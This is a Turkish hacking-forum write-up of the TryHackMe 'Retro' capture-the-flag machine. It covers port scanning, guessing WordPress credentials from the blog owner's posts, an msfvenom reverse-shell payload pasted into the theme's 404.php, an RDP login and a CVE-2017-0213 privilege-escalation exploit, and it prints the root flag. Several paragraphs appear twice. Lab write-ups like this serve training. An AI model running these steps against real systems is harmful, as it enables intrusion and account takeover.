İyi günler Türk Hack Team ailesi.
Bugün TryHackMe'de bulunan Retro isimli zaafiyetli makinayı çözüceğiz.
İlk Capture The Flag konum olduğu için biraz daha eğlenceli bir makine seçtim umarım beğenirsiniz.
Öncelikle herkes'in vpn bağlamaktır makinayı açmaktır gibi şeyleri az çok bildiğinden dolayı orayı geçiyorum. Bir makinayı çözemeye nasıl başlarsınız diye ayrı bir konuda değineceneğim.
Haydi Başlıyalım
Write Up Link
Level:Hard(Zor)
Bu makinayı çözerke kullandığım Linux dağıtımı Arch Linux'tur
Makinayı başlatıktan sonra birkaç dakika kendisine gelmesini beklemenizi tavsiye ederim.
Benim kullandığım makinanın ip'si 10.10.25.180 sizinki'si muhtemelenn farklı olucaktır. Makinın başlayıp başlamadığını ping atarak görebillirsininz.
İlk başta makinanın kaç adet portunun açık olduğunu ve bu portların hangileri olduğunu görelim. Bunun için'de Nmap'ı kullanabillirsiniz.
Bash:
nmap -Pn -sV 10.10.25.180
Gördüğünüz üzere 2 adet portumuz açık. Bunlardan birisi servis olarak http'yi kullanan 80 portumuz. Dİğeri ise Microfost'un terminal servisinin kullanan 3389'uncu portumuz. Ayrıca 3380 portu bir RPD access'dir RPD access'in ne olduğunu ileride değineceğim.
Eğer web sayfasına giriş yapacak olurşanız açıkca görürsünüzki sıradan IIS sayfasını alıyorsunuz. Bu yüzden gizli sayfaları aramamız gerekiyor. Bunun içinde gobuster'i kullanabillirsiniz. Zaten ben onu kullanıcağım.
Kod:
gobuster dir -u <URL> -w <Wordlisturl>
Kullandığım wordlist'i interneten indirdim. Bu'da link'i. Evet simdi gördüğünüz gibi /retro diye bir gizli sayfa bulduk.
Simdi ise hem bu makinanda kullanıcağım ve illeride başka makinalarda kullanma oranımız çok yüksek olduğu Wappalyzer adlı bir eklentiyi tarayıcınıza kurun.
Evet simdi baktığımızda bize sayfa hakkında çok fazla bilgi verdiğini görüceksiniz. Buradan işimize yarayacak Wordpress kullandığı ve ayrıca versiyonunu vermesi bizim için ekstra bir avantaj. Buradan çıkaracağımız sonuç admin paneline ulaşmak için wordpress'i kullanması. Genelikle kullanılan 2 adet dizin olur bunlardan birisi "/wp-admin" ve "wp-login.php". Maaleseft "wp-admin"'e giriş yapmaya çalıştığımızda hata veriyor ve sayfadan yanıt alamıyoruz. Fakat "wp-login.php" adlı sayfaya kolaylıkla ulaşabilliyoruz.
Simdi burada bizden hem kullanıcı adını hemde şifresini bulmamızı istiyor. İlk başta eğer elinizde güzel bir wordlist varsa bruteforce'u deniyebillirsiniz. Fakat ben kisinin hakkında bilgi edinmeye çalışıcağım. İlk baktığım hedef admin'in blog sitesi olarak kullandığı "http://10.10.25.180/retro/" adlı sayfa oldu. Burada kişi yeri geldiğinde kendi hakkında bilgi vermiş ve bazı konuları duyurup fikirlerini belirtmiş. Benim burada dikkatimi çeken 2 tane husus var. İlk başta kişinin ismine erişebildim. Çünkü bütün postların başlığının altında by Wade diye bir yazı görüceksiniz. Buradan kişinin adının Wade olduğu sonuç'unu çıkartabillirim.
Ayrıca kendi hakkında fazlasıyla bilgi verdiği bir post'unu buldum. Post'un ismi "Ready Player One"
"
Bu post'unda en sevdiği kitap olduğundan bahsediyor. Ayrıca film'mini izlemekten çok fazla haz almadığını öğrenebilliyorum. Onun dışında beni en çok ilgilendiren diğer bir bilgi ise ana karakterle kendi isminin aynı olduğundan bahsediyor. Hem kitabı hemde film'i okuyup izlemediğimden dolayı internete küçük bir araştırma yapmam gerekiyor.
Buradan ana karakterin isminin Parzival olduğunu öğrendim. Simdi ise birazcık parolayı zorlayalım. İsim olarak "Wade"'i parola olarak'ta "Parzival"'ı girmeyi deniyorum. Ancak hata verdi fakat bütün karakterleri küçük şekilde yazarsanız sorun ortadan kalkıyor.
Simdi burada kendimize bir adet shell açmamız gerekiyor. Bunun içinde metasploit'in bir exploit'ini kullanıcağım.
İnternete kısa bir arama sonuç'unda bir Github sayfasına denk geldim. Link buradan ihtiyacım olan exploit'i bulmam gerekiyor.
Sonunda istediğim exploit'e ulaştım. Simdi ise bu exploit'i kullanmam gerekiyor ayrıca belirtmeyi unutum makinayı yanlışıkla kapatığımdan dolayı ip değisti.
Evet makinanın içerisine payload eti. Simdi ise bir php dosyasını değistirmemiz gerekiyor. Değistireceğimiz dosya 404.php. Bunu phpreverseshell.php adlı dosyayla değistireceğim. Uçbirim'e bu kodu giriyoruz.
Burada çıkan bütün yazıları kopyalıyoruz. Simdi biz kodları kopyaladık fakat bunu nerede kullanıcağız? Wordpress'in Appearance > Theme editor kısmınan girdikten sonra sol tarafta 404.php diye bir dosya olduğunu görüceksiniz onu bir kere tıklıyarak açıyoruz.
Buradaki kodları değistiriyoruz. Ardından asağıda bulunan update file button'una bir kere tıklıyoruz. Suanda bu işlemi yaptık ve reverse shell elde etik. Fakat aldığımız shell dakikada bir bağlantıyı kesiyor. Metasploit ile oluşturduğumuz exploit'i kullanamıyoruz. Fakat söyle bir seçeneğimiz daha var RDP üzerinden bağlanabilliriz. Simdi ben Linux kullandığımdan dolayı makineye bağlanmak xfreerdp adlı tool'u kullanıcağım.
Evet masaüstünde user.txt adlı bir dosya gördük. Buradan ilk soruyu cevaplıyabilliriz. Simdi işin can sıkıcı kısmına gelelim. Kendimize root yetkisi verip root.txt dosyasına erişmemiz gerekiyor.
Simdi Windows kernal exploit adlı bir exploit'imiz bulunuyor. Bunu herhangi bir klasör'ün içerisine indiriyoruz. Hemen ardından indirdiğimiz klasör'de terminalimizi açıyoruz.
Simdi verdiğim komutları uçbirime girelim.
Simdi ise yaptığım işlemleri size tek tek anlatıcağım.
İlk başta yukarıdaki işlemleri gerçekletirdim. Windows kernal'ı sömürücek bir exploit indirdim. Ardından makinadan gidip indirebilliyim diye exploit'in olduğu klasör'e bir adet http server'ı kurdum. Sonrasında rdp protokolü ile makinaya bağlanıp kurduğum http server'ina giriş sağladım. Ardından ihtiyacım olan dosyayı indirip çalıştırdım.
Simdi burada kendimize bir adet shell açmamız gerekiyor. Bunun içinde metasploit'in bir exploit'ini kullanıcağım.
İnternete kısa bir arama sonuç'unda bir Github sayfasına denk geldim. Link buradan ihtiyacım olan exploit'i bulmam gerekiyor.
Sonunda istediğim exploit'e ulaştım. Simdi ise bu exploit'i kullanmam gerekiyor ayrıca belirtmeyi unutum makinayı yanlışıkla kapatığımdan dolayı ip değisti.
Bash:
msfvenom -p php/reverse_php LHOST=10.10.152.128 LPORT=4444 -f raw > phpreverseshell.php
Kod:
sudo leafpad phpreverseshell.php
Burada çıkan bütün yazıları kopyalıyoruz. Simdi biz kodları kopyaladık fakat bunu nerede kullanıcağız? Wordpress'in Appearance > Theme editor kısmınan girdikten sonra sol tarafta 404.php diye bir dosya olduğunu görüceksiniz onu bir kere tıklıyarak açıyoruz.
Buradaki kodları değistiriyoruz. Ardından asağıda bulunan update file button'una bir kere tıklıyoruz. Suanda bu işlemi yaptık ve reverse shell elde etik. Fakat aldığımız shell dakikada bir bağlantıyı kesiyor. Metasploit ile oluşturduğumuz exploit'i kullanamıyoruz. Fakat söyle bir seçeneğimiz daha var RDP üzerinden bağlanabilliriz. Simdi ben Linux kullandığımdan dolayı makineye bağlanmak xfreerdp adlı tool'u kullanıcağım.
Bash:
xfreerdp /u:wade /p:parzival /v:10.10.140.52
Evet masaüstünde user.txt adlı bir dosya gördük. Buradan ilk soruyu cevaplıyabilliriz. Simdi işin can sıkıcı kısmına gelelim. Kendimize root yetkisi verip root.txt dosyasına erişmemiz gerekiyor.
Simdi Windows kernal exploit adlı bir exploit'imiz bulunuyor. Bunu herhangi bir klasör'ün içerisine indiriyoruz. Hemen ardından indirdiğimiz klasör'de terminalimizi açıyoruz.
Simdi verdiğim komutları uçbirime girelim.
Bash:
unzip CVE-2017-0213_x64\ \(1\).zip
python3 -m http.server 8080
İlk başta yukarıdaki işlemleri gerçekletirdim. Windows kernal'ı sömürücek bir exploit indirdim. Ardından makinadan gidip indirebilliyim diye exploit'in olduğu klasör'e bir adet http server'ı kurdum. Sonrasında rdp protokolü ile makinaya bağlanıp kurduğum http server'ina giriş sağladım. Ardından ihtiyacım olan dosyayı indirip çalıştırdım.
Bu adımlardan sonra yani root yetkisine sahip olduktan sonra uyguladığım belirli komultarı var.
Bash:
cd C:/Users/Administrator/Desktop
dir
type root.txt.txt
Yukarıdaki komutların hepsini uygulayınca bana bir adet metin verdi "7958b569565d7bd88d10c6f22d1c4063".
Simdi gelelim en sevdiğim ana bulduğumuz cevapları Answer kutucuklarına girmeye.
İyi günler dilerim
Türk Hack Team Ailesi sağlıcakla kalın.